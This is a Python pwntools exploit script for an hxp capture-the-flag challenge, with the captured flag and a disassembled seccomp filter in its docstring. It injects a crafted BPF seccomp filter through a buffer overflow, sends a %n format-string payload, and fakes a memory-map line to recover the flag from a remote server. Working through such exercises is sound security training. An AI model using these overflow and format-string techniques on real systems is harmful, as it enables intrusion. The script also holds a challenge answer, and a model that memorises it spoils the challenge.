#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

"""
hxp{d0n7_w0rry_glibc_1_571ll_l0v3_y0u}

original seccomp filter:
l0:    ld [4]
l1:    jeq #0xc000003e, l3, l2
l2:    ret KILL
l3:    ld [0]
l4:    jeq #0xe7, l5, l6
l5:    ret ALLOW
l6:    jeq #0, l7, l8
l7:    ret ALLOW
l8:    jeq #0x2, l9, l10
l9:    ret ALLOW
l10:   jeq #0x1, l11, l12
l11:   ret ALLOW
l12:   jeq #0x3, l13, l14
l13:   ret ALLOW
l14:   ret KILL

modified seccomp filter; block sys_open (if the first argument is not the flag) and sys_close (always)
0: ld [0]
1: jeq 3, t:6, f:2
2: jeq 2, t:3, f:7
3: ld [16]
4: and 0xFF
5: jeq 0x64, t:7, f:6
6: ret ERRNO
7: ret ALLOW

"""

def bpf(op, jt, jf, k):
    return p16(op) + p8(jt) + p8(jf) + p32(k)

if __name__ == '__main__':

    r = remote('35.198.105.104', 10000)

    ld_1 = bpf(0x20, 0, 0, 0)
    jeq_1 = bpf(0x15, 4, 0, 3)
    jeq_2 = bpf(0x15, 0, 4, 2)
    ld_2 = bpf(0x20, 0, 0, 16)
    and_1 = bpf(0x54, 0, 0, 0xff)
    jeq_3 = bpf(0x15, 1, 0, 0x64)
    ret_errno = bpf(6, 0, 0, 0x00050000)
    ret_allow = bpf(6, 0, 0, 0x7fff0000)

    bpf_payload = ld_1 + jeq_1 + jeq_2 + ld_2 + and_1 + jeq_3 + ret_errno + ret_allow

    info("inject custom seccomp")
    r.send('A' * 32 + bpf_payload)

    info("trigger %n check")
    r.sendlineafter('Wrong secret :/\n', '%20c%20c%n')

    info("fake r-x memory")
    r.sendlineafter('Wrong secret :/\n', '000000000000-7fffffffffff r-xp 00000000 00:00 0                          /usr/bin/whatever')

    # we overwrote the secret key with 0x40 == '('
    info("enter secret key")
    r.sendline('(')

    r.recvuntil('hxp{')
    flag = 'hxp{' + r.recvuntil('}')
    info("flag: %s", flag)
